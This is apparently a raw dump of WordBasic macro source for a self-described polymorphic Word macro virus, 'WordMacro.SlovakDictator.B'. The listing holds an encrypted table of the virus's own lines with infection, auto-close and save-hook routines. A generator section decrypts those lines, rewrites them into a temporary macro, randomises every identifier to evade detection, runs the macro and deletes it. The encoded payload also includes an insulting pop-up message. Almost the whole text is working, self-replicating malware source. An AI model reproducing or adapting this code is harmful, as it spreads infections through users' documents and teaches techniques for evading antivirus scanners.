For BJHKBJMKQVULFPN = KRVTLQFIOQ To QCSQPHEEPFTIUNGC + Rnd() * QCSQPHEEPFTIUNGC :
COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Rnd() * ECFBULHOSNPVHFQHU + RCEGHFVLBVNUHPJ) : Next
BJHKBJMKQVULFPN
CEDKKKAROAKFSRAH$ = COICSINJIUIOI$
End Function
Sub ULTNGQPUUTERVSDV
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ
EditReplace .Find = OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN), .Replace = CEDKKKAROAKFSRAH$, .
Direction = CTOJSIQREBIMKSCJOQ, .MatchCase = KRVTLQFIOQ, .WholeWord = CTOJSIQREBIMKSCJOQ, .
PatternMatch = CTOJSIQREBIMKSCJOQ, .SoundsLike = CTOJSIQREBIMKSCJOQ, .ReplaceAll, .Format =
CTOJSIQREBIMKSCJOQ, .Wrap = KRVTLQFIOQ, .FindAllWordForms = CTOJSIQREBIMKSCJOQ
Next BJHKBJMKQVULFPN
End Sub
Sub FLPMKRKPCAPOCBQVUMN
VJPJHQNAQRNO = 6
FHUMCEAANPGT$(0) = "Jos&Yngxkj&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(1) = "Jos&Yngxkj&QX\ZRWLOUW"
FHUMCEAANPGT$(2) = "Jos&Yngxkj&\LLR\USHPU"
FHUMCEAANPGT$(3) = "Jos&Yngxkj&YRJSZ\RP[ORT\"
FHUMCEAANPGT$(4) = "Jos&Yngxkj&WIYWVNKKVLZO[TMI"
FHUMCEAANPGT$(5) = "Jos&Yngxkj&WXVYRJQIHPT"
FHUMCEAANPGT$(6) = "Jos&Yngxkj&KILH[RNUYTV\NLWN["
FHUMCEAANPGT$(7) = "Jos&Yngxkj&XIKMNL\RH\T[NVP"
FHUMCEAANPGT$(8) = "Jos&Yngxkj&L[LTPQMRY[OWQPRS"
FHUMCEAANPGT$(9) = "Jos&Yngxkj&NZNVHPO\JVU"
FHUMCEAANPGT$(10) = "Jos&Yngxkj&\PVPNWTGWXTU"
FHUMCEAANPGT$(11) = "Jos&Yngxkj&LN[SIKGGTVMZ*.866/"
FHUMCEAANPGT$(12) = "Jos&Yngxkj&OZ\TVLYLPURKXJVJ\MI"
FHUMCEAANPGT$(13) = "Jos&Yngxkj&PMM[IVIPNV"
FHUMCEAANPGT$(14) = "Jos&Yngxkj&GZHISLSOZUOX["
FHUMCEAANPGT$(15) = "Jos&Yngxkj&UWPQPIQZ\ZSRWY*.97/"
FHUMCEAANPGT$(16) = "Jos&Yngxkj&JHZQMHGQY[HVUOHQZGN"
FHUMCEAANPGT$(17) = ""
FHUMCEAANPGT$(18) = "Y{h&SGOT"
FHUMCEAANPGT$(19) = "Ut&Kxxux&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(20) = "JoyghrkOtv{z&7"
FHUMCEAANPGT$(21) = "IZUPYOWXKHOSQYIPUW&C&6"
FHUMCEAANPGT$(22) = "QX\ZRWLOUW&C&7"
SLOW_A.MAC
FHUMCEAANPGT$(23) = "\LLR\USHPU&C&8"
FHUMCEAANPGT$(24) = "YRJSZ\RP[ORT\&C&="
FHUMCEAANPGT$(25) = "WIYWVNKKVLZO[TMI&C&76"
FHUMCEAANPGT$(26) = "WXVYRJQIHPT&C&86"
FHUMCEAANPGT$(27) = "KILH[RNUYTV\NLWN[&C&88"
FHUMCEAANPGT$(28) = "XIKMNL\RH\T[NVP&C&<;"
FHUMCEAANPGT$(29) = "L[LTPQMRY[OWQPRS&C&9:"
FHUMCEAANPGT$(30) = "NZNVHPO\JVU&C&<:"
FHUMCEAANPGT$(31) = "OZ\TVLYLPURKXJVJ\MI&C&9>"
FHUMCEAANPGT$(32) = "PMM[IVIPNV&C&786"
FHUMCEAANPGT$(33) = "GZHISLSOZUOX[&C&7=?"
FHUMCEAANPGT$(34) = "JHZQMHGQY[HVUOHQZGN&C&97"
FHUMCEAANPGT$(35) = "GJQGVHG\IXVZTG*&C&GvvOtlu*.\LLR\USHPU/"
FHUMCEAANPGT$(36) = "G\RXIQU[L\ZSQSPVPX&C&\gr.Rklz*.GJQGVHG\IXVZTG*2&QX\ZRWLOUW//"
FHUMCEAANPGT$(37) = "Ol&G\RXIQU[L\ZSQSPVPX&BD&YRJSZ\RP[ORT\&Znkt&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(38) = "Igrr&LRVSQXQVIGVUIHW\[ST"
FHUMCEAANPGT$(39) = "-5555&hkmot&ul&nojjkt&vgxz&5555"
FHUMCEAANPGT$(40) = "Ynu}Hu~"
FHUMCEAANPGT$(41) = "I{xLork*&C&LorkTgsk*./"
FHUMCEAANPGT$(42) = "Ol&I{xLork*&C&FFFF&Znkt&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(43) = ""
FHUMCEAANPGT$(44) = "Ol&InkiqOtyzgrrkj.6/&C&6&Znkt"
FHUMCEAANPGT$(45) = "Otlkiz.7/"
FHUMCEAANPGT$(46) = "ZuuryUvzoutyYg|k&4MruhgrJuzVxusvz&C&62&4LgyzYg|ky&C&6"
FHUMCEAANPGT$(47) = "Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(48) = "Ktj&Ol"
FHUMCEAANPGT$(49) = ""
FHUMCEAANPGT$(50) = "Jos&jrm&Gy&LorkYg|kGy"
FHUMCEAANPGT$(51) = "MkzI{x\gr{ky&jrm"
FHUMCEAANPGT$(52) = "Ol&jrm4Luxsgz&C&6&Znkt"
FHUMCEAANPGT$(53) = "jrm4Luxsgz&C&7"
FHUMCEAANPGT$(54) = "LorkYg|kGy&jrm"
FHUMCEAANPGT$(55) = "Ktj&Ol"
FHUMCEAANPGT$(56) = ""
FHUMCEAANPGT$(57) = "Ol&InkiqOtyzgrrkj.7/&C&6&Znkt"
FHUMCEAANPGT$(58) = "Otlkiz.9/"
FHUMCEAANPGT$(59) = "LorkYg|k"
FHUMCEAANPGT$(60) = "Ktj&Ol"
FHUMCEAANPGT$(61) = ""
FHUMCEAANPGT$(62) = "[ZI[YIRGUKIWTRZHG@"
FHUMCEAANPGT$(63) = "Ktj&Y{h"
FHUMCEAANPGT$(64) = ""
FHUMCEAANPGT$(65) = "Y{h&Ynu}Hu~"
FHUMCEAANPGT$(66) = "VgxrgsktztV{i&C&Jg.Tu}.//"
FHUMCEAANPGT$(67) = "Ol&VgxrgsktztV{i&C&:&Ux&VgxrgsktztV{i&C&77&Znkt"
FHUMCEAANPGT$(68) = "Hkkv"
FHUMCEAANPGT$(69) = "Hkmot&Jogrum&[ykxJogrum&9>62&88:2&FF\ox{y&GRKXZ'FF"
FHUMCEAANPGT$(70) =
"Zk~z&8?2&>2&9:?2&792&FF_u{-xk&otlkizkj&h&]uxjSgixu4Yru|gqJoizgzux&|ox{yFF2&4Zk~z7"
FHUMCEAANPGT$(71) =
"Zk~z&7;2&8>2&9<62&792&FF]kriusk&zu&znk&RSK&.Rgskx-y&Sgixu&Ktmotk/&|kx4&7466FF2&4Zk~z8"
FHUMCEAANPGT$(72) = "Zk~z&7:;2&;72&7892&792&FFJoy&oy&Rk|kr&:87FF2&4Zk~z9"
FHUMCEAANPGT$(73) =
"Zk~z&9;2&=92&9:82&792&FF.i/&73sgx3?=2&Tgyz&Rgskx&,,&[mr&R{ykx2&Yru|gqogFF2&4Zk~z:"
FHUMCEAANPGT$(74) =
"Zk~z&9:2&?>2&9:92&792&FFJoy&oy&znk&loxyz&}uxrj&zx{k&vursuxvnoi&sgixu&|ox{y&'FF2&4Zk~z;"
FHUMCEAANPGT$(75) = "V{ynH{zzut&7862&7>>2&7:=2&872&FFGiikvz&5&Y{nrgyFF2&4V{yn7"
FHUMCEAANPGT$(76) = "Zk~z&7662&7<;2&88>2&792&FFHom&l{iq&zu&znk&hom&hu~kx&\4S4FF2&4Zk~z<"
FHUMCEAANPGT$(77) = "Ktj&Jogrum"
FHUMCEAANPGT$(78) = "Jos&jrm&Gy&[ykxJogrum"
FHUMCEAANPGT$(79) = "Jogrum.jrm/"
FHUMCEAANPGT$(80) = "Ktj&Ol"
SLOW_A.MAC
FHUMCEAANPGT$(81) = "Ktj&Y{h"
FHUMCEAANPGT$(82) = ""
FHUMCEAANPGT$(83) = "L{tizout&InkiqOtyzgrrkj.p/"
FHUMCEAANPGT$(84) = "Ut&Kxxux&Xky{sk&Tk~z"
FHUMCEAANPGT$(85) = "InkiqOtyzgrrkj&C&6"
FHUMCEAANPGT$(86) = "Lux&o&C&7&Zu&Iu{tzSgixuy.p/"
FHUMCEAANPGT$(87) = "Ol&SgixuTgsk*.o2&p/&C&FFG{zuIruykFF&Znkt&InkiqOtyzgrrkj&C&7"
FHUMCEAANPGT$(88) = "Tk~z&o"
FHUMCEAANPGT$(89) = "Ktj&L{tizout"
FHUMCEAANPGT$(90) = ""
FHUMCEAANPGT$(91) = "Y{h&Otlkiz.]ngzZuOtlkiz/"
FHUMCEAANPGT$(92) = "PU\KVGQIL\*&C&]otju}Tgsk*./"
FHUMCEAANPGT$(93) = "ZuurySgixu&4Tgsk&C&FFG{zuIruykFF2&4Ynu}&C&]ngzZuOtlkiz2&4Kjoz"
FHUMCEAANPGT$(94) = "KjozIrkgx&3&86"
FHUMCEAANPGT$(95) = ""
FHUMCEAANPGT$(96) = "-5555"
FHUMCEAANPGT$(97) = "-5555&\ru€ktok&vx|in&OZ\TVLYLPURKXJVJ\MI&xogjqu|&quj{&sgqxg"
FHUMCEAANPGT$(98) = "-5555&|ojozkrtg&igyz&3&tksktoz&'"
FHUMCEAANPGT$(99) = "-5555"
FHUMCEAANPGT$(100) =
"Lux&o&C&6&Zu&OZ\TVLYLPURKXJVJ\MI&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"
FHUMCEAANPGT$(101) = "-5555"
FHUMCEAANPGT$(102) = "-5555&vxkskttg&o&ojk&uj&xogjqu|&FFY{h&UxomotgrSgixuHujFF17"
FHUMCEAANPGT$(103) = "-5555&g€&vu&FFY{h&LRVSQXQVIGVUIHW\[STFF37"
FHUMCEAANPGT$(104) = "-5555&|krso&vu€uxtk&{xioz&zokzu&qutyzgtz&'''"
FHUMCEAANPGT$(105) = "-5555"
FHUMCEAANPGT$(106) =
"Lux&o&C&PMM[IVIPNV&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"
FHUMCEAANPGT$(107) =
"KjozXkvrgik&4Lotj&C&Inx*.<:/&1&Inx*.<:/2&4Xkvrgik&C&Inx*.9:/2&4Joxkizout&C&62&4SgzinIgyk&C&72
&4]nurk]uxj&C&62&4VgzzkxtSgzin&C&62&4Yu{tjyRoqk&C&62&4XkvrgikGrr2&4Luxsgz&C&62&4]xgv&C&72&4Lot
jGrr]uxjLuxsy&C&6"
FHUMCEAANPGT$(108) = ""
FHUMCEAANPGT$(109) = "\PVPNWTGWXTU&C&3&Otz..:&1&Xtj./&0&76//"
FHUMCEAANPGT$(110) = "Igrr&\UVKYTJV\NIOTV"
FHUMCEAANPGT$(111) = "Otykxz&FF\PVPNWTGWXTU&C&FF&1&Yzx*.3&\PVPNWTGWXTU/"
FHUMCEAANPGT$(112) = "OtykxzVgxg"
FHUMCEAANPGT$(113) = "NUQLLYLR\QPG"
FHUMCEAANPGT$(114) = "JuiIruyk&7"
FHUMCEAANPGT$(115) = "Gizo|gzk&PU\KVGQIL\*"
FHUMCEAANPGT$(116) = "Ktj&Y{h"
FHUMCEAANPGT$(117) = ""
FHUMCEAANPGT$(118) = "Y{h&UxomotgrSgixuHuj"
FHUMCEAANPGT$(119) = "-5555&ktj&ul&Nojjkt&vgxz&5555"
FHUMCEAANPGT$(120) = "Yixkkt[vjgzotm&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(121) = "JoyghrkG{zuSgixuy&QX\ZRWLOUW"
FHUMCEAANPGT$(122) = "\UVKYTJV\NIOTV"
FHUMCEAANPGT$(123) = ""
FHUMCEAANPGT$(124) = "PU\KVGQIL\*&C&]otju}Tgsk*./"
FHUMCEAANPGT$(125) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Kjoz"
FHUMCEAANPGT$(126) = "KjozIrkgx&3&WXVYRJQIHPT"
FHUMCEAANPGT$(127) =
"Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.HPNQHPSQW\[R
LVT/&@&OtykxzVgxg&@&Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(128) = ""
FHUMCEAANPGT$(129) =
"KjozXkvrgik&4Lotj&C&Inx*.NZNVHPO\JVU/&1&Inx*.NZNVHPO\JVU/2&4Xkvrgik&C&Inx*.L[LTPQMRY[OWQPRS/2
&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4V
gzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&" +
"4XkvrgikGrr2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKH
OSQYIPUW"
FHUMCEAANPGT$(130) = ""
SLOW_A.MAC
FHUMCEAANPGT$(131) = "NUQLLYLR\QPG"
FHUMCEAANPGT$(132) = "[RZTMWV[[ZKX\YJ\"
FHUMCEAANPGT$(133) = "JuiIruyk&QX\ZRWLOUW"
FHUMCEAANPGT$(134) = "Gizo|gzk&PU\KVGQIL\*"
FHUMCEAANPGT$(135) = ""
FHUMCEAANPGT$(136) = "Igrr&SHJXVSZS\KQ\"
FHUMCEAANPGT$(137) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Jkrkzk"
FHUMCEAANPGT$(138) = ""
FHUMCEAANPGT$(139) = "[ZI[YIRGUKIWTRZHG@"
FHUMCEAANPGT$(140) = "JoyghrkG{zuSgixuy&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(141) = "Yixkkt[vjgzotm&QX\ZRWLOUW"
FHUMCEAANPGT$(142) = "JoyghrkOtv{z&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(143) = "Ktj&Y{h"
FHUMCEAANPGT$(144) = ""
FHUMCEAANPGT$(145) = "Y{h&\UVKYTJV\NIOTV"
FHUMCEAANPGT$(146) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["
FHUMCEAANPGT$(147) = "IUOIYOTPO[OUO*&C&FFFF"
FHUMCEAANPGT$(148) = "\MHVM[ZWGW&C&Rkt.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT//"
FHUMCEAANPGT$(149) = "Lux&S[GTQOVRNGOM\HPYJO&C&QX\ZRWLOUW&Zu&\MHVM[ZWGW"
FHUMCEAANPGT$(150) =
"IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Gyi.Soj*.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/2&S[GTQOVRNGOM\
HPYJO2&QX\ZRWLOUW//&3&\PVPNWTGWXTU/"
FHUMCEAANPGT$(151) = "Tk~z&S[GTQOVRNGOM\HPYJO"
FHUMCEAANPGT$(152) = "LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&C&IUOIYOTPO[OUO*"
FHUMCEAANPGT$(153) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(154) = "Ktj&Y{h"
FHUMCEAANPGT$(155) = ""
FHUMCEAANPGT$(156) = "Y{h&NUQLLYLR\QPG"
FHUMCEAANPGT$(157) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["
FHUMCEAANPGT$(158) =
"Otykxz&FFLN[SIKGGTVMZ*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&LN[SIKG
GTVMZ*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"
FHUMCEAANPGT$(159) = "OtykxzVgxg"
FHUMCEAANPGT$(160) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(161) =
"Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"
FHUMCEAANPGT$(162) =
"Otykxz&FFUWPQPIQZ\ZSRWY*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&UWPQP
IQZ\ZSRWY*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"
FHUMCEAANPGT$(163) = "OtykxzVgxg"
FHUMCEAANPGT$(164) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(165) = "Ktj&Y{h"
FHUMCEAANPGT$(166) = ""
FHUMCEAANPGT$(167) = "L{tizout&IKJQQQGXUGQLYXGN*"
FHUMCEAANPGT$(168) = "IUOIYOTPO[OUO*&C&FFFF"
FHUMCEAANPGT$(169) =
"Lux&HPNQHPSQW\[RLVT&C&QX\ZRWLOUW&Zu&WIYWVNKKVLZO[TMI&1&Xtj./&0&WIYWVNKKVLZO[TMI&@&IUOIYOTPO[O
UO*&C&IUOIYOTPO[OUO*&1&Inx*.Xtj./&0&KILH[RNUYTV\NLWN[&1&XIKMNL\RH\T[NVP/&@&Tk~z&HPNQHPSQW\[RLV
T"
FHUMCEAANPGT$(170) = "IKJQQQGXUGQLYXGN*&C&IUOIYOTPO[OUO*"
FHUMCEAANPGT$(171) = "Ktj&L{tizout"
FHUMCEAANPGT$(172) = ""
FHUMCEAANPGT$(173) = "Y{h&[RZTMWV[[ZKX\YJ\"
FHUMCEAANPGT$(174) =
"Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"
FHUMCEAANPGT$(175) =
"KjozXkvrgik&4Lotj&C&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLVT/2&4Xkvrgik&C&IKJQQQGXUGQLYXGN*2&4Joxkizou
t&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzi
n&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&4XkvrgikGr" +
"r2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(176) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(177) = "Ktj&Y{h"
SLOW_A.MAC
FHUMCEAANPGT$(178) = ""
FHUMCEAANPGT$(179) = "Y{h&LRVSQXQVIGVUIHW\[ST"
OQJKJCKTVTMLQS$(0) = "VJPJHQNAQRNO"
OQJKJCKTVTMLQS$(1) = "FHUMCEAANPGT"
OQJKJCKTVTMLQS$(2) = "OQJKJCKTVTMLQS"
OQJKJCKTVTMLQS$(3) = "CTOJSIQREBIMKSCJOQ"
OQJKJCKTVTMLQS$(4) = "QCSQPHEEPFTIUNGC"
OQJKJCKTVTMLQS$(5) = "ECFBULHOSNPVHFQHU"
OQJKJCKTVTMLQS$(6) = "SLDMTVLJUILNV"
OQJKJCKTVTMLQS$(7) = "KRVTLQFIOQ"
OQJKJCKTVTMLQS$(8) = "QRPSLDKCBJN"
OQJKJCKTVTMLQS$(9) = "VFFLVOMBJO"
OQJKJCKTVTMLQS$(10) = "RCEGHFVLBVNUHPJ"
OQJKJCKTVTMLQS$(11) = "FUFNJKGLSUIQKJLM"
OQJKJCKTVTMLQS$(12) = "HTHPBJIVDPO"
OQJKJCKTVTMLQS$(13) = "ITVNPFSFJOLERDPDVGC"
OQJKJCKTVTMLQS$(14) = "JGGUCPCJHP"
OQJKJCKTVTMLQS$(15) = "ATBCMFMITOIRU"
OQJKJCKTVTMLQS$(16) = "DBTKGBAKSUBPOIBKTAH"
OQJKJCKTVTMLQS$(17) = "BJHKBJMKQVULFPN"
OQJKJCKTVTMLQS$(18) = "VGBPGUTQAQ"
OQJKJCKTVTMLQS$(19) = "MUANKIPLHAIGVBJSDI"
OQJKJCKTVTMLQS$(20) = "COICSINJIUIOI"
OQJKJCKTVTMLQS$(21) = "ADKAPBAVCRPTNA"
OQJKJCKTVTMLQS$(22) = "AVLRCKOUFVTMKMJPJR"
OQJKJCKTVTMLQS$(23) = "UTCUSCLAOECQNLTBA"
OQJKJCKTVTMLQS$(24) = "VOPESNDPVHCINP"
OQJKJCKTVTMLQS$(25) = "JOVEPAKCFV"
OQJKJCKTVTMLQS$(26) = "HOKFFSFLVKJA"
OQJKJCKTVTMLQS$(27) = "ULTNGQPUUTERVSDV"
OQJKJCKTVTMLQS$(28) = "MBDRPMTMVEKV"
OQJKJCKTVTMLQS$(29) = "CEDKKKAROAKFSRAH"
OQJKJCKTVTMLQS$(30) = "FLPMKRKPCAPOCBQVUMN"
End Sub
==============================================================================
SLOW_B.MAC
BUG:
MsgBox "Chyba pri vytvarani kryptovaneho makra", "BIG BUG OCCURED !", 48
FINISH:
End Sub
==============================================================================
Macro name: SlovakDictatorGEN1final [SLOVAKDICTATORGEN1FINAL] "U"
Description: Finalna verzia WordMacro.SlovakDictator.B
bez DEBUG infa - 1. generacia
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
SLOW_B.MAC
Sub MAIN
On Error Goto ErrorHandler
FixedConstant_0 = 0
FixedConstant_1 = 1
DisableInput FixedConstant_1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
HiddenStart = 120
HiddenLines = 181
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
CryptConstant = 0
'//// SourceLinesTable - zakryptovane makro
SourceLinesTable$(0) = "Dim Shared FixedConstant_0"
SourceLinesTable$(1) = "Dim Shared FixedConstant_1"
SourceLinesTable$(2) = "Dim Shared FixedConstant_2"
SourceLinesTable$(3) = "Dim Shared FixedConstant_7"
SourceLinesTable$(4) = "Dim Shared FixedConstant_10"
SourceLinesTable$(5) = "Dim Shared FixedConstant_20"
SourceLinesTable$(6) = "Dim Shared FixedConstant_22"
SourceLinesTable$(7) = "Dim Shared FixedConstant_65"
SourceLinesTable$(8) = "Dim Shared Uvodzovky"
SourceLinesTable$(9) = "Dim Shared Zavinac"
SourceLinesTable$(10) = "Dim Shared CryptConstant"
SourceLinesTable$(11) = "Dim Shared SourceLinesTable$(200)"
SourceLinesTable$(12) = "Dim Shared HiddenIntroLen"
SourceLinesTable$(13) = "Dim Shared HiddenStart"
SourceLinesTable$(14) = "Dim Shared HiddenLines"
SourceLinesTable$(15) = "Dim Shared PolymorphNamesTable$(31)'MyVarI1"
SourceLinesTable$(16) = "Dim Shared PolyNames"
SourceLinesTable$(17) = ""
SourceLinesTable$(18) = "Sub MAIN"
SourceLinesTable$(19) = "On Error Goto ErrorHandler"
SourceLinesTable$(20) = "FixedConstant_0 = 0"
SourceLinesTable$(21) = "FixedConstant_1 = 1"
SourceLinesTable$(22) = "DisableInput FixedConstant_1"
SourceLinesTable$(23) = "FixedConstant_2 = 2"
SourceLinesTable$(24) = "FixedConstant_7 = 7"
SourceLinesTable$(25) = "FixedConstant_10 = 10"
SourceLinesTable$(26) = "FixedConstant_20 = 20"
SourceLinesTable$(27) = "FixedConstant_22 = 22"
SourceLinesTable$(28) = "FixedConstant_65 = 65"
SourceLinesTable$(29) = "Uvodzovky = 34"
SourceLinesTable$(30) = "Zavinac = 64"
SourceLinesTable$(31) = "HiddenIntroLen = 38"
SourceLinesTable$(32) = "HiddenStart = 120"
SourceLinesTable$(33) = "HiddenLines = 181"
SourceLinesTable$(34) = "PolyNames = 31"
SLOW_B.MAC
SourceLinesTable$(146) = ""
SourceLinesTable$(147) = "Sub DecryptLines"
SourceLinesTable$(148) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(149) = "MyVarA4$ = @@@@"
SourceLinesTable$(150) = "MyVarJ2 = Len(SourceLinesTable$(MyVarI1))"
SourceLinesTable$(151) = "For MyVarK3 = FixedConstant_1 To MyVarJ2"
SourceLinesTable$(152) = "MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1),
MyVarK3, FixedConstant_1)) - CryptConstant)"
SourceLinesTable$(153) = "Next MyVarK3"
SourceLinesTable$(154) = "SourceLinesTable$(MyVarI1) = MyVarA4$"
SourceLinesTable$(155) = "Next MyVarI1"
SourceLinesTable$(156) = "End Sub"
SourceLinesTable$(157) = ""
SourceLinesTable$(158) = "Sub FlushAllTables"
SourceLinesTable$(159) = "For MyVarI1 = FixedConstant_0 To HiddenLines"
SourceLinesTable$(160) = "Insert @@SourceLinesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(161) = "InsertPara"
SourceLinesTable$(162) = "Next MyVarI1"
SourceLinesTable$(163) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(164) = "Insert @@PolymorphNamesTable$(@@ + Str$(MyVarI1) + @@)=@@ +
Chr$(Uvodzovky) + PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)"
SourceLinesTable$(165) = "InsertPara"
SourceLinesTable$(166) = "Next MyVarI1"
SourceLinesTable$(167) = "End Sub"
SourceLinesTable$(168) = ""
SourceLinesTable$(169) = "Function GenName$"
SourceLinesTable$(170) = "MyVarA4$ = @@@@"
SourceLinesTable$(171) = "For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() *
FixedConstant_10 : MyVarA4$ = MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) :
Next MyVarI1"
SourceLinesTable$(172) = "GenName$ = MyVarA4$"
SourceLinesTable$(173) = "End Function"
SourceLinesTable$(174) = ""
SourceLinesTable$(175) = "Sub MutateAllNames"
SourceLinesTable$(176) = "For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1"
SourceLinesTable$(177) = "EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace =
GenName$, .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =
FixedConstant_0, .PatternMatch = FixedConstant_0, .SoundsLike = FixedConstant_0,
.ReplaceAll, .Format = FixedC" + "onstant_0, .Wrap = FixedConstant_1, .FindAllWordForms =
FixedConstant_0"
SourceLinesTable$(178) = "Next MyVarI1"
SourceLinesTable$(179) = "End Sub"
SourceLinesTable$(180) = ""
SourceLinesTable$(181) = "Sub InitializePolymorphTables"
PolymorphNamesTable$(14) = "HiddenStart"
PolymorphNamesTable$(15) = "HiddenLines"
PolymorphNamesTable$(16) = "PolyNames"
PolymorphNamesTable$(17) = "MyVarI1"
PolymorphNamesTable$(18) = "MyVarJ2"
PolymorphNamesTable$(19) = "MyVarK3"
PolymorphNamesTable$(20) = "MyVarA4"
PolymorphNamesTable$(21) = "WordVersion"
PolymorphNamesTable$(22) = "WordVer"
PolymorphNamesTable$(23) = "ErrorHandler"
PolymorphNamesTable$(24) = "DecryptLines"
PolymorphNamesTable$(25) = "SaveWindowName"
PolymorphNamesTable$(26) = "FlushAllTables"
PolymorphNamesTable$(27) = "MutateAllNames"
PolymorphNamesTable$(28) = "TempMacro"
PolymorphNamesTable$(29) = "GenName"
PolymorphNamesTable$(30) = "InitializePolymorphTables"
'//// iniciacna cast
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines
SaveWindowName$ = WindowName$()
'MyVarI1
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
'MyVarI1
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1
FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$
Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
'//// zaverecna cast
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub
Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
